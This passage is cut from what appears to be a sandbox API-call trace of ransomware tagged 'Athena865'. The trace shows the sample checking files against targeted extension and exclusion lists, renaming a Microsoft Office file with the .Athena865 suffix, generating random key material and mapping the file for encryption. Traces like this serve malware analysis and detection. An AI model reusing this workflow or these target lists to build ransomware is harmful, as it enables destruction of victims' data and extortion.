(lpString1="e_en.dub", lpString2="daschema") returned 1 [0076.048] lstrlenW (lpString="db-journal") returned 10 [0076.048] lstrcmpiW (lpString1="wre_en.dub", lpString2="db-journal") returned 1 [0076.048] lstrlenW (lpString="db-shm") returned 6 [0076.048] lstrcmpiW (lpString1="en.dub", lpString2="db-shm") returned 1 [0076.048] lstrlenW (lpString="db-wal") returned 6 [0076.048] lstrcmpiW (lpString1="en.dub", lpString2="db-wal") returned 1 [0076.048] lstrlenW (lpString="dbc") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dbc") returned 1 [0076.048] lstrlenW (lpString="dbs") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dbs") returned 1 [0076.048] lstrlenW (lpString="dbt") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dbt") returned 1 [0076.048] lstrlenW (lpString="dbv") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dbv") returned 1 [0076.048] lstrlenW (lpString="dbx") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dbx") returned 1 [0076.048] lstrlenW (lpString="dcb") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dcb") returned 1 [0076.048] lstrlenW (lpString="dct") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dct") returned 1 [0076.048] lstrlenW (lpString="dcx") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dcx") returned 1 [0076.048] lstrlenW (lpString="ddl") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="ddl") returned 1 [0076.048] lstrlenW (lpString="dlis") returned 4 [0076.048] lstrcmpiW (lpString1=".dub", lpString2="dlis") returned -1 [0076.048] lstrlenW (lpString="dp1") returned 3 [0076.048] lstrcmpiW (lpString1="dub", lpString2="dp1") returned 1 [0076.048] lstrlenW (lpString="dqy") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="dqy") returned 1 [0076.049] lstrlenW (lpString="dsk") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="dsk") returned 1 [0076.049] lstrlenW (lpString="dsn") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="dsn") returned 1 [0076.049] lstrlenW (lpString="dtsx") returned 4 [0076.049] lstrcmpiW (lpString1=".dub", lpString2="dtsx") returned -1 [0076.049] lstrlenW (lpString="dxl") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="dxl") returned -1 [0076.049] lstrlenW (lpString="eco") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="eco") returned -1 [0076.049] lstrlenW (lpString="ecx") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="ecx") returned -1 [0076.049] lstrlenW (lpString="edb") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="edb") returned -1 [0076.049] lstrlenW (lpString="epim") returned 4 [0076.049] lstrcmpiW (lpString1=".dub", lpString2="epim") returned -1 [0076.049] lstrlenW (lpString="fcd") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="fcd") returned -1 [0076.049] lstrlenW (lpString="fdb") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="fdb") returned -1 [0076.049] lstrlenW (lpString="fic") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="fic") returned -1 [0076.049] lstrlenW (lpString="flexolibrary") returned 12 [0076.049] lstrcmpiW (lpString1="s7wre_en.dub", lpString2="flexolibrary") returned 1 [0076.049] lstrlenW (lpString="fm5") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="fm5") returned -1 [0076.049] lstrlenW (lpString="fmp") returned 3 [0076.049] lstrcmpiW (lpString1="dub", lpString2="fmp") returned -1 [0076.049] lstrlenW (lpString="fmp12") returned 5 [0076.049] lstrcmpiW (lpString1="n.dub", lpString2="fmp12") returned 1 [0076.049] lstrlenW (lpString="fmpsl") returned 5 [0076.049] lstrcmpiW (lpString1="n.dub", lpString2="fmpsl") returned 1 [0076.050] lstrlenW (lpString="fol") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="fol") returned -1 [0076.050] lstrlenW (lpString="fp3") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="fp3") returned -1 [0076.050] lstrlenW (lpString="fp4") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="fp4") returned -1 [0076.050] lstrlenW (lpString="fp5") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="fp5") returned -1 [0076.050] lstrlenW (lpString="fp7") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="fp7") returned -1 [0076.050] lstrlenW (lpString="fpt") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="fpt") returned -1 [0076.050] lstrlenW (lpString="frm") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="frm") returned -1 [0076.050] lstrlenW (lpString="gdb") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="gdb") returned -1 [0076.050] lstrlenW (lpString="gdb") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="gdb") returned -1 [0076.050] lstrlenW (lpString="grdb") returned 4 [0076.050] lstrcmpiW (lpString1=".dub", lpString2="grdb") returned -1 [0076.050] lstrlenW (lpString="gwi") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="gwi") returned -1 [0076.050] lstrlenW (lpString="hdb") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="hdb") returned -1 [0076.050] lstrlenW (lpString="his") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="his") returned -1 [0076.050] lstrlenW (lpString="ib") returned 2 [0076.050] lstrcmpiW (lpString1="ub", lpString2="ib") returned 1 [0076.050] lstrlenW (lpString="idb") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="idb") returned -1 [0076.050] lstrlenW (lpString="ihx") returned 3 [0076.050] lstrcmpiW (lpString1="dub", lpString2="ihx") returned -1 [0076.051] lstrlenW (lpString="itdb") returned 4 [0076.051] lstrcmpiW (lpString1=".dub", lpString2="itdb") returned -1 [0076.051] lstrlenW (lpString="itw") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="itw") returned -1 [0076.051] lstrlenW (lpString="jet") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="jet") returned -1 [0076.051] lstrlenW (lpString="jtx") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="jtx") returned -1 [0076.051] lstrlenW (lpString="kdb") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="kdb") returned -1 [0076.051] lstrlenW (lpString="kexi") returned 4 [0076.051] lstrcmpiW (lpString1=".dub", lpString2="kexi") returned -1 [0076.051] lstrlenW (lpString="kexic") returned 5 [0076.051] lstrcmpiW (lpString1="n.dub", lpString2="kexic") returned 1 [0076.051] lstrlenW (lpString="kexis") returned 5 [0076.051] lstrcmpiW (lpString1="n.dub", lpString2="kexis") returned 1 [0076.051] lstrlenW (lpString="lgc") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="lgc") returned -1 [0076.051] lstrlenW (lpString="lwx") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="lwx") returned -1 [0076.051] lstrlenW (lpString="maf") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="maf") returned -1 [0076.051] lstrlenW (lpString="maq") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="maq") returned -1 [0076.051] lstrlenW (lpString="mar") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="mar") returned -1 [0076.051] lstrlenW (lpString="marshal") returned 7 [0076.051] lstrcmpiW (lpString1="_en.dub", lpString2="marshal") returned -1 [0076.051] lstrlenW (lpString="mas") returned 3 [0076.051] lstrcmpiW (lpString1="dub", lpString2="mas") returned -1 [0076.051] lstrlenW (lpString="mav") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mav") returned -1 [0076.052] lstrlenW (lpString="maw") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="maw") returned -1 [0076.052] lstrlenW (lpString="mdbhtml") returned 7 [0076.052] lstrcmpiW (lpString1="_en.dub", lpString2="mdbhtml") returned -1 [0076.052] lstrlenW (lpString="mdn") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mdn") returned -1 [0076.052] lstrlenW (lpString="mdt") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mdt") returned -1 [0076.052] lstrlenW (lpString="mfd") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mfd") returned -1 [0076.052] lstrlenW (lpString="mpd") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mpd") returned -1 [0076.052] lstrlenW (lpString="mrg") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mrg") returned -1 [0076.052] lstrlenW (lpString="mud") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mud") returned -1 [0076.052] lstrlenW (lpString="mwb") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="mwb") returned -1 [0076.052] lstrlenW (lpString="myd") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="myd") returned -1 [0076.052] lstrlenW (lpString="ndf") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="ndf") returned -1 [0076.052] lstrlenW (lpString="nnt") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="nnt") returned -1 [0076.052] lstrlenW (lpString="nrmlib") returned 6 [0076.052] lstrcmpiW (lpString1="en.dub", lpString2="nrmlib") returned -1 [0076.052] lstrlenW (lpString="ns2") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="ns2") returned -1 [0076.052] lstrlenW (lpString="ns3") returned 3 [0076.052] lstrcmpiW (lpString1="dub", lpString2="ns3") returned -1 [0076.053] lstrlenW (lpString="ns4") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="ns4") returned -1 [0076.053] lstrlenW (lpString="nsf") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="nsf") returned -1 [0076.053] lstrlenW (lpString="nv") returned 2 [0076.053] lstrcmpiW (lpString1="ub", lpString2="nv") returned 1 [0076.053] lstrlenW (lpString="nv2") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="nv2") returned -1 [0076.053] lstrlenW (lpString="nwdb") returned 4 [0076.053] lstrcmpiW (lpString1=".dub", lpString2="nwdb") returned -1 [0076.053] lstrlenW (lpString="nyf") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="nyf") returned -1 [0076.053] lstrlenW (lpString="odb") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="odb") returned -1 [0076.053] lstrlenW (lpString="odb") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="odb") returned -1 [0076.053] lstrlenW (lpString="oqy") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="oqy") returned -1 [0076.053] lstrlenW (lpString="ora") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="ora") returned -1 [0076.053] lstrlenW (lpString="orx") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="orx") returned -1 [0076.053] lstrlenW (lpString="owc") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="owc") returned -1 [0076.053] lstrlenW (lpString="p96") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="p96") returned -1 [0076.053] lstrlenW (lpString="p97") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="p97") returned -1 [0076.053] lstrlenW (lpString="pan") returned 3 [0076.053] lstrcmpiW (lpString1="dub", lpString2="pan") returned -1 [0076.053] lstrlenW (lpString="pdb") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="pdb") returned -1 [0076.054] lstrlenW (lpString="pdm") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="pdm") returned -1 [0076.054] lstrlenW (lpString="pnz") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="pnz") returned -1 [0076.054] lstrlenW (lpString="qry") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="qry") returned -1 [0076.054] lstrlenW (lpString="qvd") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="qvd") returned -1 [0076.054] lstrlenW (lpString="rbf") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="rbf") returned -1 [0076.054] lstrlenW (lpString="rctd") returned 4 [0076.054] lstrcmpiW (lpString1=".dub", lpString2="rctd") returned -1 [0076.054] lstrlenW (lpString="rod") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="rod") returned -1 [0076.054] lstrlenW (lpString="rodx") returned 4 [0076.054] lstrcmpiW (lpString1=".dub", lpString2="rodx") returned -1 [0076.054] lstrlenW (lpString="rpd") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="rpd") returned -1 [0076.054] lstrlenW (lpString="rsd") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="rsd") returned -1 [0076.054] lstrlenW (lpString="sas7bdat") returned 8 [0076.054] lstrcmpiW (lpString1="e_en.dub", lpString2="sas7bdat") returned -1 [0076.054] lstrlenW (lpString="sbf") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="sbf") returned -1 [0076.054] lstrlenW (lpString="scx") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="scx") returned -1 [0076.054] lstrlenW (lpString="sdb") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="sdb") returned -1 [0076.054] lstrlenW (lpString="sdc") returned 3 [0076.054] lstrcmpiW (lpString1="dub", lpString2="sdc") returned -1 [0076.055] lstrlenW (lpString="sdf") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="sdf") returned -1 [0076.055] lstrlenW (lpString="sis") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="sis") returned -1 [0076.055] lstrlenW (lpString="spq") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="spq") returned -1 [0076.055] lstrlenW (lpString="te") returned 2 [0076.055] lstrcmpiW (lpString1="ub", lpString2="te") returned 1 [0076.055] lstrlenW (lpString="teacher") returned 7 [0076.055] lstrcmpiW (lpString1="_en.dub", lpString2="teacher") returned -1 [0076.055] lstrlenW (lpString="tmd") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="tmd") returned -1 [0076.055] lstrlenW (lpString="tps") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="tps") returned -1 [0076.055] lstrlenW (lpString="trc") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="trc") returned -1 [0076.055] lstrlenW (lpString="trc") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="trc") returned -1 [0076.055] lstrlenW (lpString="trm") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="trm") returned -1 [0076.055] lstrlenW (lpString="udb") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="udb") returned -1 [0076.055] lstrlenW (lpString="udl") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="udl") returned -1 [0076.055] lstrlenW (lpString="usr") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="usr") returned -1 [0076.055] lstrlenW (lpString="v12") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="v12") returned -1 [0076.055] lstrlenW (lpString="vis") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="vis") returned -1 [0076.055] lstrlenW (lpString="vpd") returned 3 [0076.055] lstrcmpiW (lpString1="dub", lpString2="vpd") returned -1 [0076.056] lstrlenW (lpString="vvv") returned 3 [0076.056] lstrcmpiW (lpString1="dub", lpString2="vvv") returned -1 [0076.056] lstrlenW (lpString="wdb") returned 3 [0076.056] lstrcmpiW (lpString1="dub", lpString2="wdb") returned -1 [0076.056] lstrlenW (lpString="wmdb") returned 4 [0076.056] lstrcmpiW (lpString1=".dub", lpString2="wmdb") returned -1 [0076.056] lstrlenW (lpString="wrk") returned 3 [0076.056] lstrcmpiW (lpString1="dub", lpString2="wrk") returned -1 [0076.056] lstrlenW (lpString="xdb") returned 3 [0076.056] lstrcmpiW (lpString1="dub", lpString2="xdb") returned -1 [0076.056] lstrlenW (lpString="xld") returned 3 [0076.056] lstrcmpiW (lpString1="dub", lpString2="xld") returned -1 [0076.056] lstrlenW (lpString="xmlff") returned 5 [0076.056] lstrcmpiW (lpString1="n.dub", lpString2="xmlff") returned -1 [0076.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub.Athena865") returned 69 [0076.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub.athena865"), dwFlags=0x1) returned 1 [0076.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.057] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=103424) returned 1 [0076.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.058] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.058] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.059] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19700, lpName=0x0) returned 0x17c [0076.060] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19700) returned 0x100000 [0076.066] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.066] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.066] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.067] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0076.068] CloseHandle (hObject=0x17c) returned 1 [0076.068] CloseHandle (hObject=0x154) returned 1 [0076.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.069] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="MSCSS7~2.DUB")) returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".") returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="..") returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="windows") returned -1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="bootmgr") returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="temp") returned -1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="pagefile.sys") returned -1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="boot") returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="ids.txt") returned 1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="ntuser.dat") returned -1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="perflogs") returned -1 [0076.069] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2="MSBuild") returned 1 [0076.069] lstrlenW (lpString="mscss7wre_es.dub") returned 16 [0076.069] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7wre_es.dub" | out: lpString1="mscss7wre_es.dub") returned="mscss7wre_es.dub" [0076.069] lstrlenW (lpString="mscss7wre_es.dub") returned 16 [0076.070] lstrlenW (lpString="Athena865") returned 9 [0076.070] lstrcmpiW (lpString1="re_es.dub", lpString2="Athena865") returned 1 [0076.070] lstrlenW (lpString=".dll") returned 4 [0076.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".dll") returned 1 [0076.070] lstrlenW (lpString=".lnk") returned 4 [0076.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".lnk") returned 1 [0076.070] lstrlenW (lpString=".ini") returned 4 [0076.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".ini") returned 1 [0076.070] lstrlenW (lpString=".sys") returned 4 [0076.070] lstrcmpiW (lpString1="mscss7wre_es.dub", lpString2=".sys") returned 1 [0076.070] lstrlenW (lpString="mscss7wre_es.dub") returned 16 [0076.070] lstrlenW (lpString="bak") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="bak") returned 1 [0076.070] lstrlenW (lpString="ba_") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="ba_") returned 1 [0076.070] lstrlenW (lpString="dbb") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="dbb") returned 1 [0076.070] lstrlenW (lpString="vmdk") returned 4 [0076.070] lstrcmpiW (lpString1=".dub", lpString2="vmdk") returned -1 [0076.070] lstrlenW (lpString="rar") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="rar") returned -1 [0076.070] lstrlenW (lpString="zip") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="zip") returned -1 [0076.070] lstrlenW (lpString="tgz") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="tgz") returned -1 [0076.070] lstrlenW (lpString="vbox") returned 4 [0076.070] lstrcmpiW (lpString1=".dub", lpString2="vbox") returned -1 [0076.070] lstrlenW (lpString="vdi") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="vdi") returned -1 [0076.070] lstrlenW (lpString="vhd") returned 3 [0076.070] lstrcmpiW (lpString1="dub", lpString2="vhd") returned -1 [0076.070] lstrlenW (lpString="vhdx") returned 4 [0076.071] lstrcmpiW (lpString1=".dub", lpString2="vhdx") returned -1 [0076.071] lstrlenW (lpString="avhd") returned 4 [0076.071] lstrcmpiW (lpString1=".dub", lpString2="avhd") returned -1 [0076.071] lstrlenW (lpString="db") returned 2 [0076.071] lstrcmpiW (lpString1="ub", lpString2="db") returned 1 [0076.071] lstrlenW (lpString="db2") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="db2") returned 1 [0076.071] lstrlenW (lpString="db3") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="db3") returned 1 [0076.071] lstrlenW (lpString="dbf") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="dbf") returned 1 [0076.071] lstrlenW (lpString="mdf") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="mdf") returned -1 [0076.071] lstrlenW (lpString="mdb") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="mdb") returned -1 [0076.071] lstrlenW (lpString="sql") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="sql") returned -1 [0076.071] lstrlenW (lpString="sqlite") returned 6 [0076.071] lstrcmpiW (lpString1="es.dub", lpString2="sqlite") returned -1 [0076.071] lstrlenW (lpString="sqlite3") returned 7 [0076.071] lstrcmpiW (lpString1="_es.dub", lpString2="sqlite3") returned -1 [0076.071] lstrlenW (lpString="sqlitedb") returned 8 [0076.071] lstrcmpiW (lpString1="e_es.dub", lpString2="sqlitedb") returned -1 [0076.071] lstrlenW (lpString="xml") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="xml") returned -1 [0076.071] lstrlenW (lpString="$er") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="$er") returned 1 [0076.071] lstrlenW (lpString="4dd") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="4dd") returned 1 [0076.071] lstrlenW (lpString="4dl") returned 3 [0076.071] lstrcmpiW (lpString1="dub", lpString2="4dl") returned 1 [0076.071] lstrlenW (lpString="^^^") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="^^^") returned 1 [0076.072] lstrlenW (lpString="abs") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="abs") returned 1 [0076.072] lstrlenW (lpString="abx") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="abx") returned 1 [0076.072] lstrlenW (lpString="accdb") returned 5 [0076.072] lstrcmpiW (lpString1="s.dub", lpString2="accdb") returned 1 [0076.072] lstrlenW (lpString="accdc") returned 5 [0076.072] lstrcmpiW (lpString1="s.dub", lpString2="accdc") returned 1 [0076.072] lstrlenW (lpString="accde") returned 5 [0076.072] lstrcmpiW (lpString1="s.dub", lpString2="accde") returned 1 [0076.072] lstrlenW (lpString="accdr") returned 5 [0076.072] lstrcmpiW (lpString1="s.dub", lpString2="accdr") returned 1 [0076.072] lstrlenW (lpString="accdt") returned 5 [0076.072] lstrcmpiW (lpString1="s.dub", lpString2="accdt") returned 1 [0076.072] lstrlenW (lpString="accdw") returned 5 [0076.072] lstrcmpiW (lpString1="s.dub", lpString2="accdw") returned 1 [0076.072] lstrlenW (lpString="accft") returned 5 [0076.072] lstrcmpiW (lpString1="s.dub", lpString2="accft") returned 1 [0076.072] lstrlenW (lpString="adb") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="adb") returned 1 [0076.072] lstrlenW (lpString="adb") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="adb") returned 1 [0076.072] lstrlenW (lpString="ade") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="ade") returned 1 [0076.072] lstrlenW (lpString="adf") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="adf") returned 1 [0076.072] lstrlenW (lpString="adn") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="adn") returned 1 [0076.072] lstrlenW (lpString="adp") returned 3 [0076.072] lstrcmpiW (lpString1="dub", lpString2="adp") returned 1 [0076.072] lstrlenW (lpString="alf") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="alf") returned 1 [0076.073] lstrlenW (lpString="ask") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="ask") returned 1 [0076.073] lstrlenW (lpString="btr") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="btr") returned 1 [0076.073] lstrlenW (lpString="cat") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="cat") returned 1 [0076.073] lstrlenW 